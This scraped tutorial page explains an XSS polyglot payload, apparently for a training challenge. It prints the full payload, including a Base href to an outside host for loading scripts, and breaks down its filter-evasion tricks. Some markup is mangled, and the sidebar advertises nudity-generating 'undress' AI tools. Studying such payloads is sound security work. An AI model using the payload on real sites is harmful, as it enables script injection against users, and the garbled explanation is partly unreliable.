首页 web前端 js教程 Polyglot solve most of Training XSS Muscles Challenge

Polyglot solve most of Training XSS Muscles Challenge

Sep 14, 2024 am 10:32 AM

Polyglot solve most of Training XSS Muscles Challenge

JavaScript://%250Aalert?.(1)//
'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!-->
</Title/</Style/</Script/</textArea/</iFrame/</noScript>
\74k<K/contentEditable/autoFocus/OnFocus=
/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76-->

Core Idea:
This payload is designed to bypass several XSS filters and security mechanisms by working in various HTML contexts. It uses a combination of HTML and JavaScript tricks to inject a malicious payload, such as the alert() function, in a variety of ways.

Top-Level Concepts:
Polyglot Basics:
A polyglot is a payload that can execute in multiple contexts, typically both in HTML, attributes, or JavaScript contexts, making it more versatile for exploiting XSS vulnerabilities.
The goal of this payload is to inject JavaScript and execute alert(1) across multiple contexts while bypassing filters.
Polyglot Sections:
JavaScript Execution with Optional Chaining:

JavaScript://%250Aalert?.(1)//

The JavaScript protocol triggers the payload in browsers that interpret JavaScript from URL protocols.
%250A is the URL-encoded form of a newline character (\n), used to bypass URL validation or escape filters.
alert?.(1) is an optional chaining syntax in JavaScript. It executes alert(1) if alert exists, bypassing strict checks on direct calls to alert().
// terminates the rest of the payload as a comment to avoid errors.
HTML Tag Breakouts:

</Title/</Style/</Script/</textArea/</iFrame/</noScript>

This section attempts to break out of various HTML tags like , <style>, <script>, <textarea>, and others.<br> It ends the tags early (</...>) so that JavaScript can be executed right after the tag, bypassing filtering or restrictions based on tag contexts.<br> It’s compact since it doesn’t close each tag properly; just one closing symbol (>) suffices for all.<br> Quote Breakouts:<br> </p> <pre class="brush:php;toolbar:false">/*'/*\'/*"/*\"/*\/%26apos;)/<!-->` </pre> <p>This section handles breaking out of quote contexts (", ', `). It uses JavaScript comments(/.../) to inject and terminate multiline comment blocks that might be initiated by filters.<br> /<em>...</em>/ is useful for multiline comments and ignoring filter checks.<br> %26apos;) is an HTML entity escape code for ', used to break out of attributes or string contexts that use HTML entities for sanitization.<br> Event Handler and Execution:</p> <p>`<br> \74k<K/contentEditable/autoFocus/OnFocus=/**/{(alert)(1)}//><br> `<br> \74k<K is a trick to insert an arbitrary tag where \74 is the octal representation of <. This works to bypass filters that sanitize < by converting it into an octal entity.<br> K is an arbitrary tag (can be any character) with the attributes contentEditable, autoFocus, and OnFocus.<br> The OnFocus=/**/{(alert)(1)} ensures that when the element gains focus, it executes the alert(1) function.<br> Advanced Evasion Techniques:</p> <p>`<br> <Base/Href=//X55.is\76--><br> `<br> <Base> is used for CSP bypass. If the base URL is set to a malicious domain like //X55.is, relative URL references to scripts or assets can trigger cross-origin requests, executing external malicious scripts.<br> /76 is the octal code for >, and it's used to properly close the tag while bypassing filters that escape < and >. This is part of the trick where octal escapes are converted back into characters.<br> HTML Comment Insertion:</p> <p><!--> is a simple HTML comment injection that ends any HTML comment block started by a filter, allowing the payload to escape the context.<br> Polyglot Logic:<br> Bypassing HTML Filters: The polyglot uses tag closings, quote breakouts, and event handlers to escape multiple HTML tags and execute JavaScript in different contexts.<br> Bypassing JavaScript Filters: Through commenting techniques (/<em>...</em>/, //) and quote escapes, it handles multiline scripts and prevents syntax errors.<br> Filter Evasion: By using HTML entities, optional chaining, and octal escapes, it bypasses common sanitization filters and CSP rules.<br> Mind Map Summary:<br> Polyglot Core:<br> JavaScript Execution (alert?.(1))<br> HTML Context Breakouts ()<br> JavaScript String Injection:<br> Escape Quotes (/<em>'/</em>\'/<em>"/</em>)<br> Inline Comments and Multiline Escapes (//, /<em>...</em>/)<br> HTML Tag Evasion:<br> Tag Close Breakouts ()<br> Arbitrary Tag Injection with Event Handler ()<br> Advanced Tricks:<br> Octal Encoding for < and > (\74 and \76)<br> CSP Bypass using and external URL (Base/Href=//X55.is)<br> Final Injection:</p> <blockquote> <p>Mixed context polyglot triggering across multiple browsers and scenarios.<br> This polyglot is highly effective in breaking out of multiple contexts, evading JavaScript string handling and HTML tag closures, and executing in both</p> </blockquote> <p>以上是Polyglot solve most of Training XSS Muscles Challenge的详细内容。更多信息请关注PHP中文网其他相关文章!</p> </div> </div> <div class="wzconShengming_sp"> <div class="bzsmdiv_sp">本站声明</div> <div>本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn</div> </div> </div> <ins class="adsbygoogle" style="display:block" data-ad-format="autorelaxed" data-ad-client="ca-pub-5902227090019525" data-ad-slot="2507867629"></ins> <script> (adsbygoogle = window.adsbygoogle || []).push({}); </script> <div class="AI_ToolDetails_main4sR"> <ins class="adsbygoogle" style="display:block" data-ad-client="ca-pub-5902227090019525" data-ad-slot="3653428331" data-ad-format="auto" data-full-width-responsive="true"></ins> <script> (adsbygoogle = window.adsbygoogle || []).push({}); </script> <!-- <div class="phpgenera_Details_mainR4"> <div class="phpmain1_4R_readrank"> <div class="phpmain1_4R_readrank_top"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/hotarticle2.png" alt="" /> <h2>热门文章</h2> </div> <div class="phpgenera_Details_mainR4_bottom"> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/zh/faq/1796827210.html" title="Oguri Cap Build Guide |漂亮的德比志" class="phpgenera_Details_mainR4_bottom_title">Oguri Cap Build Guide |漂亮的德比志</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>4 周前</span> <span>By Jack chen</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/zh/faq/1796828723.html" title="Agnes Tachyon Build Guide |漂亮的德比志" class="phpgenera_Details_mainR4_bottom_title">Agnes Tachyon Build Guide |漂亮的德比志</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>3 周前</span> <span>By Jack chen</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/zh/faq/1796832397.html" title="Grass Wonder Build Guide |乌玛妈妈漂亮的德比" class="phpgenera_Details_mainR4_bottom_title">Grass Wonder Build Guide |乌玛妈妈漂亮的德比</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>3 周前</span> <span>By Jack chen</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/zh/faq/1796827375.html" title="如何修复KB5060829未安装和其他报告的错误" class="phpgenera_Details_mainR4_bottom_title">如何修复KB5060829未安装和其他报告的错误</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>4 周前</span> <span>By DDD</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/zh/faq/1796833110.html" title="<🎜>:在森林里99夜 - 所有徽章以及如何解锁" class="phpgenera_Details_mainR4_bottom_title"><🎜>:在森林里99夜 - 所有徽章以及如何解锁</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>2 周前</span> <span>By DDD</span> </div> </div> </div> <div class="phpgenera_Details_mainR3_more"> <a href="//m.sbmmt.com/zh/article.html">显示更多</a> </div> </div> </div> --> <div class="phpgenera_Details_mainR3"> <div class="phpmain1_4R_readrank"> <div class="phpmain1_4R_readrank_top"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/hottools2.png" alt="" /> <h2>热AI工具</h2> </div> <div class="phpgenera_Details_mainR3_bottom"> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/zh/ai/undress-ai-tool" title="Undress AI Tool" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/ai_manual/001/246/273/173410641626608.jpg?x-oss-process=image/resize,m_fill,h_50,w_50" src="/static/imghw/default1.png" alt="Undress AI Tool" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/zh/ai/undress-ai-tool" title="Undress AI Tool" class="phpmain_tab2_mids_title"> <h3>Undress AI Tool</h3> </a> <p>免费脱衣服图片</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/zh/ai/undresserai-undress" title="Undresser.AI Undress" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/ai_manual/001/246/273/173411540686492.jpg?x-oss-process=image/resize,m_fill,h_50,w_50" src="/static/imghw/default1.png" alt="Undresser.AI Undress" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/zh/ai/undresserai-undress" title="Undresser.AI Undress" class="phpmain_tab2_mids_title"> <h3>Undresser.AI Undress</h3> </a> <p>人工智能驱动的应用程序,用于创建逼真的裸体照片</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/zh/ai/ai-clothes-remover" title="AI Clothes Remover" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/ai_manual/001/246/273/173411552797167.jpg?x-oss-process=image/resize,m_fill,h_50,w_50" src="/static/imghw/default1.png" alt="AI Clothes Remover" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/zh/ai/ai-clothes-remover" title="AI Clothes Remover" class="phpmain_tab2_mids_title"> <h3>AI Clothes Remover</h3> </a> <p>用于从照片中去除衣服的在线人工智能工具。</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/zh/ai/clothoffio" title="Clothoff.io" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/ai_manual/001/246/273/173411529149311.jpg?x-oss-process=image/resize,m_fill,h_50,w_50" src="/static/imghw/default1.png" alt="Clothoff.io" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/zh/ai/clothoffio" title="Clothoff.io" class="phpmain_tab2_mids_title"> <h3>Clothoff.io</h3> </a> <p>AI脱衣机</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/zh/ai/video-swap" title="Video Face Swap" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/ai_manual/001/246/273/173414504068133.jpg?x-oss-process=image/resize,m_fill,h_50,w_50" src="/static/imghw/default1.png" alt="Video Face Swap" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/zh/ai/video-swap" title="Video Face Swap" class="phpmain_tab2_mids_title"> <h3>Video Face Swap</h3> </a> <p>使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!</p> </div> </div> </div> <div class="phpgenera_Details_mainR3_more"> <a href="//m.sbmmt.com/zh/ai">显示更多</a> </div> </div> </div> <div class="phpgenera_Details_mainR4"> <div class="phpmain1_4R_readrank"> <div class="phpmain1_4R_readrank_top"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/hotarticle2.png" alt="" /> <h2>热门文章</h2> </div> <div class="phpgenera_Details_mainR4_bottom"> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/zh/faq/1796827210.html" title="Oguri Cap Build Guide |漂亮的德比志" class="phpgenera_Details_mainR4_bottom_title">Oguri Cap Build Guide |漂亮的德比志</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>4 周前</span> <span>By Jack chen</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/zh/faq/1796828723.html" title="Agnes Tachyon Build Guide |漂亮的德比志" class="phpgenera_Details_mainR4_bottom_title">Agnes Tachyon Build Guide |漂亮的德比志</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>3 周前</span> <span>By Jack chen</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/zh/faq/1796832397.html" title="Grass Wonder Build Guide |乌玛妈妈漂亮的德比" class="phpgenera_Details_mainR4_bottom_title">Grass Wonder Build Guide |乌玛妈妈漂亮的德比</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>3 周前</span> <span>By Jack chen</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/zh/faq/1796827375.html" title="如何修复KB5060829未安装和其他报告的错误" class="phpgenera_Details_mainR4_bottom_title">如何修复KB5060829未安装和其他报告的错误</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>4 周前</span> <span>By DDD</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/zh/faq/1796833110.html" title="<🎜>:在森林里99夜 - 所有徽章以及如何解锁" class="phpgenera_Details_mainR4_bottom_title"><🎜>:在森林里99夜 - 所有徽章以及如何解锁</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>2 周前</span> <span>By DDD</span> </div> </div> </div> <div class="phpgenera_Details_mainR3_more"> <a href="//m.sbmmt.com/zh/article.html">显示更多</a> </div> </div> </div> <div class="phpgenera_Details_mainR3"> <div class="phpmain1_4R_readrank"> <div class="phpmain1_4R_readrank_top"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/hottools2.png" alt="" /> <h2>热工具</h2> </div> <div class="phpgenera_Details_mainR3_bottom"> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/zh/toolset/development-tools/92" title="记事本++7.3.1" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/manual/000/000/001/58ab96f0f39f7357.jpg?x-oss-process=image/resize,m_fill,h_50,w_72" src="/static/imghw/default1.png" alt="记事本++7.3.1" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/zh/toolset/development-tools/92" title="记事本++7.3.1" class="phpmain_tab2_mids_title"> <h3>记事本++7.3.1</h3> </a> <p>好用且免费的代码编辑器</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/zh/toolset/development-tools/93" title="SublimeText3汉化版" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/manual/000/000/001/58ab97a3baad9677.jpg?x-oss-process=image/resize,m_fill,h_50,w_72" src="/static/imghw/default1.png" alt="SublimeText3汉化版" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/zh/toolset/development-tools/93" title="SublimeText3汉化版" class="phpmain_tab2_mids_title"> <h3>SublimeText3汉化版</h3> </a> <p>中文版,非常好用</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/zh/toolset/development-tools/121" title="禅工作室 13.0.1" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/manual/000/000/001/58ab97ecd1ab2670.jpg?x-oss-process=image/resize,m_fill,h_50,w_72" src="/static/imghw/default1.png" alt="禅工作室 13.0.1" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/zh/toolset/development-tools/121" title="禅工作室 13.0.1" class="phpmain_tab2_mids_title"> <h3>禅工作室 13.0.1</h3> </a> <p>功能强大的PHP集成开发环境</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/zh/toolset/development-tools/469" title="Dreamweaver CS6" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/manual/000/000/001/58d0e0fc74683535.jpg?x-oss-process=image/resize,m_fill,h_50,w_72" src="/static/imghw/default1.png" alt="Dreamweaver CS6" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/zh/toolset/development-tools/469" title="Dreamweaver CS6" class="phpmain_tab2_mids_title"> <h3>Dreamweaver CS6</h3> </a> <p>视觉化网页开发工具</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/zh/toolset/development-tools/500" title="SublimeText3 Mac版" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/manual/000/000/001/58d34035e2757995.png?x-oss-process=image/resize,m_fill,h_50,w_72" src="/static/imghw/default1.png" alt="SublimeText3 Mac版" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/zh/toolset/development-tools/500" title="SublimeText3 Mac版" class="phpmain_tab2_mids_title"> <h3>SublimeText3 Mac版</h3> </a> <p>神级代码编辑软件(SublimeText3)</p> </div> </div> </div> <div class="phpgenera_Details_mainR3_more"> <a href="//m.sbmmt.com/zh/ai">显示更多</a> </div> </div> </div> <div class="phpgenera_Details_mainR4"> <div class="phpmain1_4R_readrank"> <div class="phpmain1_4R_readrank_top"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/hotarticle2.png" alt="" /> <h2>热门话题</h2> </div> <div class="phpgenera_Details_mainR4_bottom"> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/zh/faq/java-tutorial" title="Java教程" class="phpgenera_Details_mainR4_bottom_title">Java教程</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/eyess.png" alt="" /> <span>1796</span> </div> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/tiezi.png" alt="" /> <span>16</span> </div> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/zh/faq/cakephp-tutor" title="CakePHP 教程" class="phpgenera_Details_mainR4_bottom_title">CakePHP 教程</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/eyess.png" alt="" /> <span>1746</span> </div> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/tiezi.png" alt="" /> <span>56</span> </div> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/zh/faq/laravel-tutori" title="Laravel 教程" class="phpgenera_Details_mainR4_bottom_title">Laravel 教程</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/eyess.png" alt="" /> <span>1593</span> </div> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/tiezi.png" alt="" /> <span>29</span> </div> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/zh/faq/php-tutorial" title="PHP教程" class="phpgenera_Details_mainR4_bottom_title">PHP教程</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/eyess.png" alt="" /> <span>1475</span> </div> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/tiezi.png" alt="" /> <span>72</span> </div> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/zh/faq/nytminicrosswordanswe" title="NYT迷你填字游戏答案" class="phpgenera_Details_mainR4_bottom_title">NYT迷你填字游戏答案</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/eyess.png" alt="" /> <span>267</span> </div> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/tiezi.png" alt="" /> <span>587</span> </div> </div> </div> </div> <div class="phpgenera_Details_mainR3_more"> <a href="//m.sbmmt.com/zh/faq/zt">显示更多</a> </div> </div> </div> </div> </div> <div class="Article_Details_main2"> <div class="phpgenera_Details_mainL4"> <div class="phpmain1_2_top"> <a href="javascript:void(0);" class="phpmain1_2_top_title">Related knowledge<img src="/static/imghw/index2_title2.png" alt="" /></a> </div> <div class="phpgenera_Details_mainL4_info"> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/zh/faq/1796828200.html" title="为什么要将标签放在的底部?" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/253/068/175139053194540.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="为什么要将标签放在的底部?" /> </a> <a href="//m.sbmmt.com/zh/faq/1796828200.html" title="为什么要将标签放在的底部?" class="phphistorical_Version2_mids_title">为什么要将标签放在的底部?</a> <span class="Articlelist_txts_time">Jul 02, 2025 am 01:22 AM</span> <p class="Articlelist_txts_p">PlacingtagsatthebottomofablogpostorwebpageservespracticalpurposesforSEO,userexperience,anddesign.1.IthelpswithSEObyallowingsearchenginestoaccesskeyword-relevanttagswithoutclutteringthemaincontent.2.Itimprovesuserexperiencebykeepingthefocusonthearticl</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/zh/faq/1796827639.html" title="如何在JS中与日期和时间合作?" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/431/639/175130445135407.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="如何在JS中与日期和时间合作?" /> </a> <a href="//m.sbmmt.com/zh/faq/1796827639.html" title="如何在JS中与日期和时间合作?" class="phphistorical_Version2_mids_title">如何在JS中与日期和时间合作?</a> <span class="Articlelist_txts_time">Jul 01, 2025 am 01:27 AM</span> <p class="Articlelist_txts_p">JavaScript中的日期和时间处理需注意以下几点:1.创建Date对象有多种方式,推荐使用ISO格式字符串以保证兼容性;2.获取和设置时间信息可用get和set方法,注意月份从0开始;3.手动格式化日期需拼接字符串,也可使用第三方库;4.处理时区问题建议使用支持时区的库,如Luxon。掌握这些要点能有效避免常见错误。</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/zh/faq/1796828191.html" title="什么是在DOM中冒泡和捕获的事件?" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/253/068/175139034116786.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="什么是在DOM中冒泡和捕获的事件?" /> </a> <a href="//m.sbmmt.com/zh/faq/1796828191.html" title="什么是在DOM中冒泡和捕获的事件?" class="phphistorical_Version2_mids_title">什么是在DOM中冒泡和捕获的事件?</a> <span class="Articlelist_txts_time">Jul 02, 2025 am 01:19 AM</span> <p class="Articlelist_txts_p">事件捕获和冒泡是DOM中事件传播的两个阶段,捕获是从顶层向下到目标元素,冒泡是从目标元素向上传播到顶层。1.事件捕获通过addEventListener的useCapture参数设为true实现;2.事件冒泡是默认行为,useCapture设为false或省略;3.可使用event.stopPropagation()阻止事件传播;4.冒泡支持事件委托,提高动态内容处理效率;5.捕获可用于提前拦截事件,如日志记录或错误处理。了解这两个阶段有助于精确控制JavaScript响应用户操作的时机和方式。</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/zh/faq/1796829560.html" title="垃圾收集如何在JavaScript中起作用?" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/253/068/175156097152256.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="垃圾收集如何在JavaScript中起作用?" /> </a> <a href="//m.sbmmt.com/zh/faq/1796829560.html" title="垃圾收集如何在JavaScript中起作用?" class="phphistorical_Version2_mids_title">垃圾收集如何在JavaScript中起作用?</a> <span class="Articlelist_txts_time">Jul 04, 2025 am 12:42 AM</span> <p class="Articlelist_txts_p">JavaScript的垃圾回收机制通过标记-清除算法自动管理内存,以减少内存泄漏风险。引擎从根对象出发遍历并标记活跃对象,未被标记的则被视为垃圾并被清除。例如,当对象不再被引用(如将变量设为null),它将在下一轮回收中被释放。常见的内存泄漏原因包括:①未清除的定时器或事件监听器;②闭包中对外部变量的引用;③全局变量持续持有大量数据。V8引擎通过分代回收、增量标记、并行/并发回收等策略优化回收效率,降低主线程阻塞时间。开发时应避免不必要的全局引用、及时解除对象关联,以提升性能与稳定性。</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/zh/faq/1796828216.html" title="JavaScript模块上的确定JS综述:ES模块与COMPORJS" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/431/639/175139088179400.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="JavaScript模块上的确定JS综述:ES模块与COMPORJS" /> </a> <a href="//m.sbmmt.com/zh/faq/1796828216.html" title="JavaScript模块上的确定JS综述:ES模块与COMPORJS" class="phphistorical_Version2_mids_title">JavaScript模块上的确定JS综述:ES模块与COMPORJS</a> <span class="Articlelist_txts_time">Jul 02, 2025 am 01:28 AM</span> <p class="Articlelist_txts_p">ES模块和CommonJS的主要区别在于加载方式和使用场景。1.CommonJS是同步加载,适用于Node.js服务器端环境;2.ES模块是异步加载,适用于浏览器等网络环境;3.语法上,ES模块使用import/export,且必须位于顶层作用域,而CommonJS使用require/module.exports,可在运行时动态调用;4.CommonJS广泛用于旧版Node.js及依赖它的库如Express,ES模块则适用于现代前端框架和Node.jsv14 ;5.虽然可混合使用,但容易引发问题</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/zh/faq/1796836217.html" title="如何在node.js中提出HTTP请求?" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/431/639/175234432058757.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="如何在node.js中提出HTTP请求?" /> </a> <a href="//m.sbmmt.com/zh/faq/1796836217.html" title="如何在node.js中提出HTTP请求?" class="phphistorical_Version2_mids_title">如何在node.js中提出HTTP请求?</a> <span class="Articlelist_txts_time">Jul 13, 2025 am 02:18 AM</span> <p class="Articlelist_txts_p">在Node.js中发起HTTP请求有三种常用方式:使用内置模块、axios和node-fetch。1.使用内置的http/https模块无需依赖,适合基础场景,但需手动处理数据拼接和错误监听,例如用https.get()获取数据或通过.write()发送POST请求;2.axios是基于Promise的第三方库,语法简洁且功能强大,支持async/await、自动JSON转换、拦截器等,推荐用于简化异步请求操作;3.node-fetch提供类似浏览器fetch的风格,基于Promise且语法简单</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/zh/faq/1796828190.html" title="var vs Let vs const:快速JS综述解释器" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/431/639/175139032133478.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="var vs Let vs const:快速JS综述解释器" /> </a> <a href="//m.sbmmt.com/zh/faq/1796828190.html" title="var vs Let vs const:快速JS综述解释器" class="phphistorical_Version2_mids_title">var vs Let vs const:快速JS综述解释器</a> <span class="Articlelist_txts_time">Jul 02, 2025 am 01:18 AM</span> <p class="Articlelist_txts_p">var、let和const的区别在于作用域、提升和重复声明。1.var是函数作用域,存在变量提升,允许重复声明;2.let是块级作用域,存在暂时性死区,不允许重复声明;3.const也是块级作用域,必须立即赋值,不可重新赋值,但可修改引用类型的内部值。优先使用const,需改变变量时用let,避免使用var。</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/zh/faq/1796827643.html" title="为什么DOM操纵缓慢,如何优化?" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/253/068/175130453074232.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="为什么DOM操纵缓慢,如何优化?" /> </a> <a href="//m.sbmmt.com/zh/faq/1796827643.html" title="为什么DOM操纵缓慢,如何优化?" class="phphistorical_Version2_mids_title">为什么DOM操纵缓慢,如何优化?</a> <span class="Articlelist_txts_time">Jul 01, 2025 am 01:28 AM</span> <p class="Articlelist_txts_p">操作DOM变慢的主要原因在于重排重绘成本高和访问效率低。优化方法包括:1.减少访问次数,缓存读取值;2.批量处理读写操作;3.合并修改,使用文档片段或隐藏元素;4.避免布局抖动,集中处理读写;5.使用框架或requestAnimationFrame异步更新。</p> </div> </div> <a href="//m.sbmmt.com/zh/web-designer.html" class="phpgenera_Details_mainL4_botton"> <span>See all articles</span> <img src="/static/imghw/down_right.png" alt="" /> </a> </div> </div> </div> </main> <footer> <div class="footer"> <div class="footertop"> <img src="/static/imghw/logo.png" alt=""> 